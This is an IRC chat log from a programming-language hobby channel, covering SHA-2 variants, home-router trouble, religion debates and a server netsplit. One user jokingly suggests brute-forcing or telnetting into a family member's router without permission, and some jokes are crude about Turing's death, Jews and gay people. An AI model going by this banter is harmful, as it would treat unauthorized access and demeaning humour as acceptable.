00:16:10 <elliott> In cryptography, SHA-2 is a set of cryptographic hash functions (SHA-224, SHA-256, SHA-384, SHA-512) designed by the National Security Agency (NSA) and published in 2001 by the NIST as a U.S. Federal Information Processing Standard. SHA stands for Secure Hash Algorithm. SHA-2 includes a significant number of changes from its predecessor, SHA-1. SHA-2 consists of a set of four hash functions with digests that are 224, 256, 384 or 512 bits.
00:16:19 <elliott> So... nope, they came out in 2001
00:16:23 <elliott> Looks like
00:19:19 <Ilari> For some reason, looks like they have pulled the specs. Actually, that's not the only spec pulled and the site was down today, so I think they are having technical problems.
00:19:46 -!- Mathnerd314 has quit (Quit: ChatZilla 0.9.86-rdmsoft [XULRunner 1.9.2.13/20101203075014]).
00:20:14 <Ilari> SHA-512/224 is a 224 bit hash. SHA-512/256 is 256 bit hash.
00:20:41 <elliott> Oh, I see.
00:20:42 -!- pikhq_ has joined.
00:20:57 <elliott> It's (SHA-512/224), not SHA-(512/224)
00:21:01 -!- pikhq has quit (Ping timeout: 260 seconds).
00:21:06 <elliott> Ilari: Aren't they just the relevant-sized prefixes of SHA-512?
00:22:15 <Ilari> With different IV.
00:22:16 -!- BeholdMyGlory has quit (Remote host closed the connection).
00:22:38 <elliott> "Object Oriented PHP-GTK2"
00:22:40 <elliott> pikhq_: OH DEAR GOD
00:24:55 <Ilari> I think the IVs would be pretty predictable. Unfortunately, I don't know what way around those would be.
00:27:48 <Ilari> Namely, First 64 bits of fractional parts of square roots of 17th to 24th prime (and 25th to 32nd prime).
00:31:44 -!- azaq23 has joined.
00:37:40 -!- ais523 has quit (Remote host closed the connection).
00:39:23 -!- sebbu2 has changed nick to sebbu.
00:40:30 <elliott> pikhq_: I need you to stop me unleashing an untold horror onto this world.
00:42:31 <pikhq_> elliott: *shudder*
00:42:38 <elliott> pikhq_: You're scared already!
00:42:53 -!- augur has joined.
00:42:55 <elliott> pikhq_: An editor where Python serves the purpose of elisp in Emacs. Even _I_ think that's awful.
00:43:05 <pikhq_> *groan*
00:44:07 <elliott> pikhq_: This awful situation has arisen from me writing leaden in Python and thinking that some sort of extension mechanism is probably easier than settings.
00:45:07 <pikhq_> Hmm. I'm really thinking that I ought to set up this freaking router that I've had for ages now.
00:45:18 <elliott> Is it LINKSYS
00:45:36 <pikhq_> But I still don't know what to freaking *do* with it, aside from stick a replacement firmware on it.
00:45:49 <pikhq_> elliott: D-Link and OpenWRT-able.
00:46:04 <pikhq_> And DD-WRT. And a large number of other firmwares.
00:46:06 <elliott> pikhq_: Fair 'nuff then.
00:46:12 <elliott> I can never figure out which of OpenWRT/dd-wrt is nicer.
00:46:26 <elliott> (I own a Linksys router but it wouldn't work with my connection.)
00:48:20 <pikhq_> Sadly, I can't make it *that* useful as I would be behind another router that I can't configure.
00:48:25 <pikhq_> And I am *not* fucking NATNATing.
00:49:06 <elliott> pikhq_: Why can't you use the router you bought alone? Is it a combined router-modem you're stuck with?
00:49:15 <elliott> Are you sure a generic modem wouldn't work? (You on ADSL?)
00:50:16 <pikhq_> elliott: Actually, it's my step-dad's router, and he's reluctant to let me do anything to his tech.
00:50:37 <elliott> pikhq_: I WOULDN'T BLAME HIM, WHAT DO YOU KNOW ABOUT COMPUTERS HA H
00:50:38 <elliott> *HA HA
00:50:51 <pikhq_> His router is likely to blame for my constant dropping connection.
00:55:16 -!- augur has quit (Remote host closed the connection).
00:59:34 <elliott> Why does software force me to write my own. Sheesh.
01:18:52 <pikhq_> Hmm.
01:19:02 <pikhq_> Looking at Wireshark, I get some weird-ass TCP behavior.
01:19:49 <pikhq_> RTT goes along at sub-0.1s and then suddenly jumps to 0.6s... RTT goes down a bit, then jumps again...
01:19:53 <pikhq_> Weird.
01:26:31 -!- augur has joined.
01:30:35 <elliott> Oh hey, Homestuck just stopped making any sense whatsoever. JUST HOW I LIKE IT
01:46:14 -!- pikhq_ has quit (Ping timeout: 240 seconds).
01:46:26 -!- pikhq has joined.
01:47:44 -!- Lymia_ has joined.
01:48:03 -!- Lymia has quit (Disconnected by services).
01:48:05 -!- Lymia_ has changed nick to Lymia.
01:48:05 -!- Lymia has quit (Changing host).
01:48:05 -!- Lymia has joined.
02:05:20 -!- augur has quit (Remote host closed the connection).
02:17:45 <Gregor> http://codu.org/tmp/PitchBendMadness-2011-02-18.ogg More nonsense.
02:17:53 <elliott> MAN keybindings in GTK are DIFFICULT.
02:18:00 <elliott> Gregor: Dear god it hurts.
02:18:01 <elliott> I love it.
02:18:15 <elliott> Gregor: This would be excelent game music.
02:18:27 <elliott> *excellent
02:18:33 <Gregor> OK, making that highest note that high was a mistake.
02:18:39 <Gregor> My poor, poor eardrums.
02:18:53 <elliott> I LIKE IT.
02:19:07 <Gregor> What I was first trying to do was write some very silly game opening music. Then I started getting too silly. Then I started getting NOT SILLY ENOUGH.
02:19:49 <elliott> X-D
02:19:53 <elliott> INSUFFICIENT SILLY
02:20:18 <Gregor> Also, the weird horn trill thing near the beginning was totally a fluke.
02:20:39 <Ilari> pikhq: Bufferbloat?
02:20:59 -!- cal153 has quit (Ping timeout: 240 seconds).
02:21:02 <elliott> Gregor: s/weird/awesome/
02:21:06 <pikhq> Ilari: Quite likely. Though I should note I've actually tried to mitigate it...
02:21:17 <pikhq> (as best as I can *without being able to freaking touch the router*)
02:21:38 <Gregor> elliott: Well that's a given :P
02:21:46 <pikhq> (though bandwidth shaping myself should help the common case, as I'm the heavy bandwidth user here.)
02:22:03 <elliott> pikhq: Can't you just organise a night-time physical heist?
02:22:11 <pikhq> elliott: He'd notice.
02:22:22 <elliott> pikhq: I don't mean replacing it.
02:22:27 <elliott> Just doing what you can with the existing hardware.
02:22:34 <elliott> Or does fixing it involve turning a gigantic switch from RED to BLUE? :-P
02:22:43 <pikhq> Fixing it involves logging in.
02:22:56 <elliott> pikhq: And?
02:23:00 <pikhq> Though I *could* brute-force it...
02:23:04 <elliott> pikhq: You could reset the router settings.
02:23:11 <elliott> There's always a simple physical way to do it.
02:23:17 <pikhq> And then lose the Wi-Fi password which I don't know.
02:23:26 <elliott> pikhq: Surely you can heistify an ethernet cable.
02:23:53 <elliott> pikhq: Brute-forcing might work if he's really, really bad at picking passwords, I guess :P
02:24:06 <elliott> You could try telnetting in or something, that might even work without a password.
02:26:17 -!- sebbu2 has joined.
02:26:17 -!- sebbu2 has quit (Changing host).
02:26:17 -!- sebbu2 has joined.
02:26:21 <elliott> pikhq: But, uhh, you could heist like this: Physical router reset -> Ethernet cable -> fix shit -> set shit back up -> heistify his computer and fix the password? OK, it's impractical :-P
02:28:57 <Gregor> OMG, greatest almond soda ever.
02:29:03 -!- sebbu has quit (Ping timeout: 276 seconds).
02:29:09 <Gregor> This tops every other soda I have ever made.
02:29:10 <Gregor> By miles.
02:29:46 <elliott> Gregor: ;_; i fucking want some
02:29:53 <elliott> can't you like
02:29:55 <elliott> put ti in a box
02:29:56 <elliott> and mail that box
02:29:57 <elliott> to me
02:30:00 <elliott> so i could open it
02:30:02 <Gregor> No :P
02:30:07 <elliott> and extract the contents (almond soda, "greatest ever")
02:34:06 -!- augur has joined.
02:38:43 -!- nik340 has joined.
02:38:43 -!- nik340 has left (?).
02:42:59 -!- variable has quit (Ping timeout: 264 seconds).
02:43:32 -!- variable has joined.
02:47:47 -!- mattfrog has joined.
02:49:10 -!- mattfrog has left (?).
02:52:12 -!- elliott has set topic: inscrutable, yet AFRO | http://tunes.org/~nef/logs/esoteric/?C=M;O=D.
02:58:39 -!- Sgeo has quit (Read error: Connection reset by peer).
02:59:10 -!- Sgeo has joined.
02:59:46 -!- pingveno has quit (Ping timeout: 240 seconds).
03:01:16 <elliott> Sgeo what on EARTH did you DO
03:01:56 -!- pingveno has joined.
03:02:45 <pikhq> Gregor: Be careful not to do too much cyanide.
03:04:46 <pikhq> Oh, never mind, it's only bitter almonds that contain cyanide.
03:05:53 <elliott> Gregor: EAGERLY AWAITING: BITTER ALMOND SODA
03:05:59 <Gregor> elliott: Yeahno :P
03:06:00 <elliott> CALL IT: THE TURING BLEND
03:06:04 <elliott> ;;;;OHSNAP:::
03:06:09 <elliott> <<<>>>
03:06:16 <Sgeo> elliott, sadly, I have done no one
03:06:20 <elliott> its funny becauseturing killed himself
03:06:41 <elliott> ALSO BECAUSE THERE IS NOTHING SGEO CAN NOT MAKE ME FACEPALM ABOUT
03:06:44 <elliott> WHICH IS QUITE AN ACHIEVEMENT REALLY
03:06:51 <elliott> QUITE AN ACHIEVEMENT
03:06:53 <elliott> NOT ONE I APPRECIATE THOUGH
03:07:03 <elliott> I MEAN, SCHEME-WISE, OF THINGS GRAND, GRAND SCHEME OF .. I'M SURE YOU CAN ARRANGE THE WORDS MENTALLY
03:07:10 <elliott> I MEAN GOSH IT'S NOT LIKE YOU'RE ALL STUPID. ONLY MOST OF YOU
03:07:29 * Sgeo steals elliott's capslock key
03:08:28 -!- mtve has quit (Ping timeout: 250 seconds).
03:10:07 <elliott> BLANKETS. WHAT WE NEED IS BLANKETS. AND A WORLD WITHOUT HATRED.
03:10:42 <elliott> SEE SGEO. THE THING YOU ARE ASSUMING IS, THAT I AM USING CAPS LOCK.
03:10:51 <elliott> NOW, WHAT EVIDENCE DO YOU HAVE, FOR THIS, ASSERTION; OTHER THAN THAT, I AM TALKING IN CAPITALS
03:10:57 <elliott> THE ANSWER IS: ZERO EVIDENCE (O, 0)
03:11:02 -!- pikhq_ has joined.
03:11:03 <elliott> SO LIEK TO BE THE STFUING UP
03:11:06 <elliott> OR THE... STFING UP
03:11:07 <elliott> I GUESS
03:11:14 -!- pikhq has quit (Ping timeout: 250 seconds).
03:11:30 <pikhq_> FUCK THIS SHIT
03:11:45 <pikhq_> COPULATE WITH THIS PILE OF FECES.
03:12:31 * pikhq_ would like to point and laugh at some people.
03:12:38 <pikhq_> "May 21, 2011, the world will end."
03:12:50 <elliott> THAT'S NOT WHAT YOU WILL BE SAYING WHEN THE WORLD ENDS
03:12:52 <elliott> SHUT THE FUCK UP SGEO
03:12:53 <elliott> SHUT IT
03:12:55 <elliott> SHUT FOREVER
03:13:05 <elliott> ANYWAY,,,YAHOO ANSWERS::
03:13:08 <elliott> [[Will may 21 2011 be horrible for those left out?
03:13:08 <elliott> There is plenty of evidence that on 21 May 2011 will be the rapture of the true believers. But for those fet out it will be 6 months of torment,terror and horror as predicted in the book of Revelation chapter 9 verse 5. Then,on 21 October 2011 the unsaved and the entire universe will burned up.
03:13:08 <elliott> ]]
03:13:11 <pikhq_> elliott: I doubt I will be saying much as the sun dies.
03:13:14 <elliott> IT MAY BE HORRIBLE; THAT IS TRUE .
03:13:22 <elliott> Camping's trademarks include his deep, sonorous voice coupled with a slow cadence. He is best known for the prediction of Christ's second coming in May 2011.
03:13:23 <elliott> SONOROUS
03:13:25 <elliott> THAT'S NOT A FUCKING WORD
03:13:28 <elliott> WELL IT IS BUT IT'S A DOUCHEBAG WORD
03:13:35 <elliott> PIKHQ. HOW SONOROUS ARE YOU FEELING LATELY.
03:13:45 <elliott> EXACTLY
03:13:52 <pikhq_> Quite.
03:14:10 <pikhq_> I have a deep, sonorous voice.
03:15:13 <pikhq_> Anyways. The various rapture predictions tend to be so very comical.
03:15:32 * Sgeo steals elliott's shift keys
03:15:39 <elliott> DEEP SONOROUS VOICE
03:15:41 <elliott> MORE LIKE DEEP SONOROUS
03:15:41 <elliott> UH
03:15:42 <elliott> VOICE
03:15:49 <pikhq_> If any of it came true, though, I would have to declare that at least *one* person alive today is at least 2000 years ago.
03:16:22 <pikhq_> (fun fact: in one of the Gospels, Jesus claimed that some people in the audience would live to see the end.)
03:16:29 <elliott> ONE PERSON ALIVE TODAY IS AT LEAST 2000 YEARS AGO?
03:16:31 <elliott> YOUR SENTENCES DON'T PARSE DUDE
03:16:39 <pikhq_> s/ago/old/
03:16:39 <elliott> KINDA LIKE RELIGION HEH <--- CONTEXTUAL JOKE; RELEVANT;
03:16:45 <elliott> OH. WELL NOW YOU'VE GONE AND RUINED IT.
03:16:51 <elliott> BAD PIKHQ BAD.
03:17:01 <pikhq_> Colorless green dreams sleep furiously!
03:17:38 <elliott> COLOURLESS GREEN PIKHQ SLEEPS FURIOUSLY AFTER BEING KNOCKED ON THE HEAD BY HOW COOL HE ISN'T
03:17:42 <elliott> wow that might be the best sentence
03:17:45 <elliott> guess i'll stop there
03:18:24 * pikhq_ is even *more* amused by those biblical literalists now.
03:18:56 <pikhq_> In addition to believing an acid trip, they must clearly *also* believe there is at least one person who is immortal right now.
03:19:05 <pikhq_> And that God doomed us all to die.
03:19:12 <elliott> you're an acid trip lol!
03:19:20 <pikhq_> elliott: Revelations.
03:19:23 <elliott> pikhq_: well clearly we have to INTEGRATE THIS WITH LIKE
03:19:26 <elliott> THE PLOT OF THE POPULAR MOVIE
03:19:27 <elliott> "HIGHLANDER"
03:19:30 <elliott> WOULD THIS NOT PROVIDE CONSISTENCY
03:19:31 <pikhq_> It was definitely an acid trip or something similar.
03:19:32 <elliott> WITH THE BIBLE
03:19:40 <elliott> WHAT I AM SAYING IS, MAYBE HOLLYWOOD IS ACTUALLY PROPHET.
03:19:45 <elliott> THINK ABOUT IT.
03:19:51 <pikhq_> elliott: Except that God doomed us all to die back in Genesis.
03:20:12 <elliott> YES. AND NOW HIGHLANDER.
03:20:30 <pikhq_> Hmm. Well, it could *work* if that one immortal person is Lazarus.
03:20:36 <pikhq_> After all, Lazarus did die.
03:21:52 <elliott> CONGRATULATIONS PIKHQ
03:21:54 <elliott> I AM NOW A CHRISTIAN
03:21:59 <elliott> YOUR LOGIC HAS CONVERTED ME.
03:22:13 <pikhq_> FAILURE IS MINE
03:22:21 * elliott checks off "GET CONVERTED TO CHRISTIANITY BY PIKACHU" off LIST OF THINGS TO DO.
03:22:28 <elliott> I KNEW I WOULD GET IT DONE SOMETIME
03:22:43 <zzo38> I think it is proper that eventually you are going to be dead. Otherwise it will be overpopulation?
03:23:47 <pikhq_> zzo38: Or there's no urge to reproduce beyond environmental capacity.
03:24:06 <pikhq_> Which an omnipotent deity could do with ease.
03:27:47 <pikhq_> Of course, there's a lot of things that an omnipotent deity could trivially do to make this a better world.
03:28:19 <pikhq_> Every instance of someone being even a slight ass, for instance, could be prevented.
03:28:45 -!- Wamanuz3 has quit (Ping timeout: 255 seconds).
03:28:48 <pikhq_> All natural disasters.
03:29:05 <pikhq_> All diseases.
03:29:35 <pikhq_> If God exists, he's a lazy, apathetic bastard.
03:30:19 <pikhq_> Which conflicts with, well, most all monotheistic religions.
03:30:31 -!- elliott_ has joined.
03:30:32 <elliott_> pikhq pikhq pikhq
03:30:33 <elliott_> can you hear me
03:30:35 <elliott_> can you hear the things i am saying
03:30:40 <elliott_> yes
03:30:41 <elliott_> yes you can
03:30:54 <elliott_> pikhq_: there has been some INSANE server situation! me and zzo38 were talking. but we did not see your messages, that are on clog.
03:30:55 <elliott_> and you, did not see ours!
03:30:56 <elliott_> THEREFORE
03:30:59 <pikhq_> elliott_: 聴いてるよ!
03:31:00 <elliott_> respond so i can verify that you are hearing me
03:31:01 <elliott_> oh good
03:31:08 <elliott_> <pikhq_> Which an omnipotent deity could do with ease.
03:31:09 <elliott_> <elliott> zzo38: Overpopulation only if population increases.
03:31:09 <elliott_> <zzo38> I think that if people learn to be immortal, that it is proper for mortal creatures to eat those who are immortal.
03:31:15 <elliott_> <elliott> ...what.
03:31:15 <elliott_> <elliott> i would `addquote that but there is a limit to the amount of crazy that HackEgo can hold
03:31:15 <elliott_> <elliott> and that would SO go over quota.
03:31:15 <elliott_> <zzo38> elliott: Eventually the population will be increases, ALL THE TIME. That is why you have to be caution!!
03:31:16 <elliott_> <elliott> zzo38: Why does the population have to increase?
03:31:18 <elliott_> <elliott> Reproductive urges would become basically obsolete in the face of immortality.
03:31:22 <elliott_> <elliott> And at that point could be easily removed.
03:31:24 <elliott_> <zzo38> elliott: It doesn't *have* to, but it does anyways. And it does because it can.
03:31:26 <elliott_> <elliott> Thus, no more population increase.
03:31:28 <elliott_> <elliott> zzo38: By what logic?
03:31:30 <elliott_> <zzo38> What is the quota, 65536? If so, we are still not over the quota yet.
03:31:32 <elliott_> <zzo38> (I mean in HackEgo)
03:31:34 <elliott_> <elliott> wait
03:31:36 <elliott_> <elliott> zzo38
03:31:38 <elliott_> <elliott> are you actually just a really advanced markov chain
03:31:40 <elliott_> <zzo38> elliott: I do not want to have children, but that is simply my choice. I do not want to be married either. OK
03:31:43 <elliott_> <zzo38> elliott: And I am not just a really advanced markov chain.
03:31:45 <elliott_> <elliott> my perspective has just totally changed. best markov chain ever!
03:31:47 <elliott_> <elliott> oh.
03:31:51 <elliott_> <elliott> zzo38: it seems that according to tunes.org we are not here.
03:31:53 <elliott_> <Gregor> Almmmmmmmmmmmmmmmmmmmmmmmmond soda!
03:31:55 <elliott_> * Disconnected ().
03:32:03 <elliott_> pikhq_: but the only relevant line is
03:32:06 <elliott_> <zzo38> I think that if people learn to be immortal, that it is proper for mortal creatures to eat those who are immortal.
03:32:20 <elliott_> what i am saying is: cannibalism.
03:32:26 <elliott_> Gregor
03:32:28 <elliott_> are you here
03:33:02 <elliott_> don't think he is.
03:33:03 <elliott_> so pikhq_
03:33:05 <elliott_> you can hear me right.
03:33:18 <elliott> zzo38: Overpopulation only if population increases.
03:33:18 <zzo38> I think that if people learn to be immortal, that it is proper for mortal creatures to eat those who are immortal.
03:33:18 <elliott> ...what.
03:33:18 <elliott> i would `addquote that but there is a limit to the amount of crazy that HackEgo can hold
03:33:18 <elliott> and that would SO go over quota.
03:33:18 <zzo38> elliott: Eventually the population will be increases, ALL THE TIME. That is why you have to be caution!!
03:33:18 <elliott> zzo38: Why does the population have to increase?
03:33:18 <elliott> Reproductive urges would become basically obsolete in the face of immortality.
03:33:18 <Sgeo> If Heaven can exist, why does Earth exist?
03:33:18 <elliott> And at that point could be easily removed.
03:33:19 <zzo38> elliott: It doesn't *have* to, but it does anyways. And it does because it can.
03:33:19 <elliott> Thus, no more population increase.
03:33:19 <elliott> zzo38: By what logic?
03:33:19 <zzo38> What is the quota, 65536? If so, we are still not over the quota yet.
03:33:19 <zzo38> (I mean in HackEgo)
03:33:19 <elliott> wait
03:33:19 <elliott> zzo38
03:33:19 <elliott> are you actually just a really advanced markov chain
03:33:19 -!- Wamanuz4 has joined.
03:33:20 <zzo38> elliott: I do not want to have children, but that is simply my choice. I do not want to be married either. OK
03:33:20 <zzo38> elliott: And I am not just a really advanced markov chain.
03:33:20 <elliott> my perspective has just totally changed. best markov chain ever!
03:33:20 <elliott> oh.
03:33:20 <elliott> zzo38: it seems that according to tunes.org we are not here.
03:33:20 <Gregor> Almmmmmmmmmmmmmmmmmmmmmmmmond soda!
03:33:20 -!- elliott has quit (Quit: Leaving).
03:33:21 <zzo38> The tunes.org logs looks like something mixed up
03:33:21 -!- augur has quit (Remote host closed the connection).
03:33:44 <oerjan> now that was weird
03:33:59 <Gregor> wtfbbq
03:34:05 <elliott_> lol what
03:34:11 <elliott_> ok i just saw
03:34:11 <elliott_> myself
03:34:12 <elliott_> talking
03:34:16 <elliott_> did you guys just see all my log
03:34:17 <elliott_> that i pasted
03:34:18 <zzo38> Finally it seems to be fix a bit.
03:34:18 <elliott_> for pikhq
03:34:20 <Gregor> I saw you and zzo38 talking.
03:34:23 <elliott_> right
03:34:23 <elliott_> but
03:34:27 <elliott_> did you see me paste a log
03:34:27 <elliott_> above
03:34:29 <elliott_> you see i reconnected
03:34:32 <elliott_> after realising pikhq was talking to clog
03:34:34 <elliott_> and i was talking to zzo
03:34:38 <elliott_> but pikhq couldn't see that
03:34:39 <zzo38> All messages have received after typing DIE a few times and getting permission denied.
03:34:41 <elliott_> and i could talk to pikhq but not zzo
03:34:48 <elliott_> so um
03:34:49 <elliott_> i pasted a log
03:34:51 <elliott_> and
03:34:52 <elliott_> then
03:34:56 <elliott_> i saw myself and Gregor and it was all ghosts.
03:35:01 <elliott_> this new ircd is erm
03:35:02 <elliott_> stable
03:35:12 <elliott_> Gregor did you see me paste a log. before i talked to zzo38.
03:35:28 <Gregor> BEFORE you talked to zzo38?
03:35:29 <Gregor> No
03:35:50 <elliott_> Gregor: look at http://tunes.org/~nef/logs/esoteric/11.02.18
03:35:56 <elliott_> you can see me pasting the log of a conversation right before i have it :D
03:36:10 <zzo38> I saw the messages on clog a few seconds before I received them in IRC!
03:38:17 <zzo38> But I think it is fixed by now
03:40:26 <elliott_> pikhq_: Gregor: ping
03:41:09 <oerjan> 6uod
03:41:09 -!- augur has joined.
03:41:17 -!- augur has quit (Remote host closed the connection).
03:41:36 <Gregor> Good lawd
03:42:15 <pikhq_> BAH
03:42:39 -!- copumpkin has joined.
03:43:06 <pikhq_> elliott_: I saw the log, then I saw what you gays said before that.
03:43:09 <pikhq_> Guys.
03:43:13 <elliott_> yeah we gays
03:43:14 <pikhq_> The fuck was that, Freud?
03:43:18 <elliott_> me and zzo38 the gays
03:43:24 <pikhq_> I also saw a PM from you.
03:43:24 <elliott_> haha so it all came at once just now
03:43:26 <elliott_> this is exciting?
03:43:36 <elliott_> imagine what it must be like in #ubuntu right now.
03:43:39 <elliott_> probably just as confusing as usual.
03:43:40 <pikhq_> Actually, it came at once 10 minutes ago, when I was AFK.
03:43:52 <elliott_> oerjan can you hear me
03:43:57 <elliott_> i have this sneaking suspicion that i can only talk to one person at a time
03:44:07 <elliott_> first zzo38, then pikhq_, then... Gregor? and zzo38 together. now you.
03:44:09 <elliott_> Gregor.
03:44:11 <elliott_> Gregor: ping
03:44:21 <Gregor> elliott_: SHUT UP SHUT UP SHUT UP
03:44:26 <zzo38> I can read the messages too.
03:44:28 <elliott_> Gregor: i've said like two things
03:44:32 <elliott_> evidently you are getting flooded :D
03:44:41 <elliott_> Gregor: why do i shut up
03:44:57 <elliott_> pikhq_: do i still got a stable connection to you hi
03:45:08 <pikhq_> elliott_: HI
03:45:12 <elliott_> woot woot
03:45:19 -!- Gregor has left (?).
03:45:43 -!- TLUL has joined.
03:45:51 <pikhq_> Sgeo: Congrats on asking the big question that is *the* major flaw in traditional monotheism!
03:46:29 <zzo38> I received notice from: fizzie,Sgeo,Leonidas,sebbu2,olsner,variable,dbc,yiyus,clog,elliott_,coppro,Mannerisky,comex_,Gregor,ineiros_,pikhq_,aloril,fizzie,yorick,Gregor,oerjan,tswett,shachaf,mycroftiv,Deewiant,quintopia,SimonRC,Zuu,lifthrasiir,pingveno,Zwaarddijk,jix_,copumpkin. I did receive twice from some
03:46:30 <elliott_> * Gregor (~Gregor@codu.org) has left #esoteric ("Leaving until you stop playing "What's wrong with the network theatre"")
03:46:34 <elliott_> HE'S SO PISSY
03:46:34 <pikhq_> "Why the hell would a benevolent, omnipotent God make Heaven, Hell, and Earth, and not just create paradise?"
03:46:36 <elliott_> SO PISSY
03:46:38 <elliott_> zzo38: argh!
03:46:42 <elliott_> don't ping whole sections of the channel like that
03:46:45 <elliott_> you'll annoy/wake up tons of people
03:46:50 <quintopia> pikhq_: paradise is boring
03:46:59 <zzo38> pikhq_: There is no paradise. Paradise is wrong!
03:47:00 <elliott_> quintopia: speak for yourself
03:47:06 <quintopia> pikhq_: the real major flaw is the concept of salvation
03:47:11 <pikhq_> quintopia: Under traditional monotheism, after life, good people get paradise.
03:47:16 <Sgeo> quintopia, that's just Christianity
03:47:27 <pikhq_> Where "good" varies.
03:47:37 <zzo38> Paradise is, in fact, just as wrong as anything else!!
03:47:37 -!- elliott_ has quit (Read error: Connection reset by peer).
03:47:53 <quintopia> Sgeo: no, that is every western and eastern religion ever
03:48:02 -!- elliott_ has joined.
03:48:04 <pikhq_> So, clearly merely being boring is not a problem with the claimed deity.
03:48:06 <elliott_> this is so fun
03:48:16 <elliott_> zzo38 is being annoying, pikhq_ is talking about monotheism, Gregor is raging
03:48:19 <elliott_> quintopia is uh
03:48:22 <elliott_> also talking about monotheism
03:48:23 <Sgeo> elliott_, what am I doing?
03:48:25 <elliott_> i am narrating, metaly
03:48:46 <pikhq_> quintopia: But, yes, salvation is also quite a bit of an issue.
03:49:10 * quintopia is p damn humanist
03:49:12 <pikhq_> Certainly if it were anything like what it's claimed to be, salvation would be both obvious and noteworthy.
03:49:24 <elliott_> quintopia: more like
03:49:25 <elliott_> jewmanist
03:49:27 <elliott_> oh man
03:49:29 <elliott_> transjewmanism
03:49:31 <elliott_> the idea
03:49:32 <elliott_> that humans
03:49:34 <elliott_> have to stop being jews
03:49:35 <elliott_> and this is good
03:49:37 <pikhq_> Imagine a religion whose followers we'd call saints. As a whole.
03:49:40 <elliott_> i am in approval of this philosophy
03:49:49 <elliott_> guys
03:49:51 <elliott_> best philosophy
03:50:06 <quintopia> pikhq_: this is a religion i could get behind
03:50:15 <quintopia> pikhq_: as long as i could still eat cow
03:50:26 <pikhq_> quintopia: Indeed, it would very obviously have at least some merit to its claims.
03:50:36 <elliott_> cow ... and PIG
03:50:37 <elliott_> and PIG COW
03:50:41 <elliott_> the legendary: PIG COW
03:50:50 <elliott_> um guys
03:50:58 <elliott_> might this be another pikhq_ quintopia me Sgeo bubble
03:50:59 <elliott_> is zzo38 here
03:51:04 <elliott_> maybe we've transported ourselves
03:51:05 <elliott_> to a mystical
03:51:06 <elliott_> fantasy
03:51:09 <elliott_> unicorn world, with no zzo38
03:51:09 <zzo38> I am of a different opinion, which is of a philosophy that the religion where nobody can be called saints.
03:51:11 <pikhq_> Even more so if its followers' every need were provided for.
03:51:12 <elliott_> or not
03:51:16 <zzo38>
03:51:23 <elliott_>
03:52:02 <quintopia> pikhq_: i sometimes suspect that the amish get more right than most. they have things like *family* and *not being dicks* and don't have things like *murder* and *grand theft*
03:52:11 <pikhq_> Ah, hell, let's add more way for a religion to be obviously true.
03:52:20 <pikhq_> Sermons at their weekly meetings are done by God.
03:52:32 <pikhq_> Personally.
03:52:36 <elliott_> quintopia: but they do have things like *no fucking electricity* and *totally lopsided family trees*! :p
03:52:47 <zzo38> pikhq_: But can they do that? I do not think so?
03:53:10 <pikhq_> zzo38: An omnipotent deity would *certainly* be capable of giving weekly speeches all over the world.
03:53:20 <elliott_> NO MAN
03:53:27 <elliott_> WITHOUT FAITH I AM NOTHING
03:53:28 <elliott_> POOF, SEE?
03:53:33 <elliott_> GOD AFTER THAT FUCKING BABEL FISH. THOUGHT YOU WOULD HAVE ALL CAUGHT ON
03:53:35 <elliott_> I'M NOT DOING THAT PROOF STUFF ANY MORE
03:53:35 <quintopia> elliott_: i think no electricity is a reasonable trade for no murder. it'd be nice if we could get both, though
03:54:06 <elliott_> quintopia: well no i think electricity is more important in the short term. because a world without electricity and with no murder is very obviously non-ideal, since such a world is very likely to have e.g. death
03:54:09 <pikhq_> elliott_: Jesus was claimed to be in the habit of giving proof like it was candy.
03:54:17 <quintopia> pikhq_: i know a few religions where speeches are done by an incarnation of god on a weekly or daily basis
03:54:17 <zzo38> The reason they do not use electricity, is to save energy.
03:54:18 <elliott_> quintopia: and electricity is kinda vital to the whole superintelligence scenario.
03:54:22 <quintopia> pikhq_: we call these things cults
03:54:26 <elliott_> so in the short term it is preferable to have electricity.
03:54:32 <elliott_> because it causes much fewer deaths in the long-run.
03:54:32 <quintopia> elliott_: the amish have no electric bill!
03:54:36 <elliott_> zzo38: no, they don't use it because they don't like it
03:54:38 <elliott_> quintopia: CONVINCING
03:54:46 <quintopia> elliott_: they are still okay if the grid goes down!
03:54:53 <elliott_> quintopia: that's only a problem in ameridumb
03:54:55 <elliott_> which is like america
03:54:55 <elliott_> but dumb
03:54:57 <elliott_> but wait
03:54:58 <elliott_> THAT IS AMERICA
03:55:00 <pikhq_> quintopia: How many of them have just straight-up had God descend from on high and speak once a week, every week, at every relevant congregation simultaneously?
03:55:03 <quintopia> elliott_: THEY ARE STILL OKAY IF A MASSIVE EMP DETONATES ALL OVER EARTH
03:55:20 <elliott_> quintopia: APART FROM ALL THE INFRASTRUCTURE THEY DEPEND ON YOU MEAN?
03:55:43 <elliott_> (THEY OWN CARS SO IT'S CLEARLY NON-ZERO)
03:55:43 <quintopia> elliott_: they use horse carts
03:55:43 <elliott_> no, some of them own cars
03:55:47 <elliott_> this is a Fact, spelled with a capital F and then act
03:55:55 <quintopia> they have horse cart backups
03:55:58 <zzo38> Or you can just walk, if it is not too far.
03:55:58 <pikhq_> The Amish are not a monolithic group.
03:56:04 <shachaf> Is zzo38's bug-everybody mode strictly necessary?
03:56:21 -!- copumpkin has quit (Ping timeout: 240 seconds).
03:56:25 <zzo38> shachaf: I don't know.
03:56:37 <elliott_> shachaf: apparently.
03:56:45 <elliott_> he invokes it on a semi-regular basis.
03:56:51 <elliott_> i *did* scold him :p
03:56:55 -!- Sgeo has quit (Read error: Connection reset by peer).
03:57:26 -!- Sgeo has joined.
03:57:32 * Sgeo blames zzo38
03:57:51 <zzo38> Sgeo: You blamed me for what?
03:57:57 <zzo38> Freedom of speech?
03:58:00 <Sgeo> The netsplits
03:58:02 <zzo38> Or energy?
03:58:21 <Sgeo> And I'm to blame for Freedom. And God.
03:58:33 <zzo38> Sgeo: I did not touch the netsplits!
03:58:51 <quintopia> Sgeo: he did the netsplits. both American and Chinese netsplits
03:59:02 <quintopia> AND ENDEAVORED TO COMPLETE TEN SOMERSETS ON SOLID GROUND
03:59:18 <elliott_> devious.
03:59:19 <elliott_> let's ban him.
03:59:29 <zzo38> Really, I did not touch the netsplits!
03:59:39 <zzo38> Do you think I did?
03:59:49 <elliott_> hey hey guys if we just make this log have some more kilobytes
03:59:53 <elliott_> it will be one of the top sized logs ever!
03:59:57 <elliott_> let's make some kilobytes
04:00:10 * Sgeo bytes elliott_
04:00:10 <pikhq_> Dang dawg.
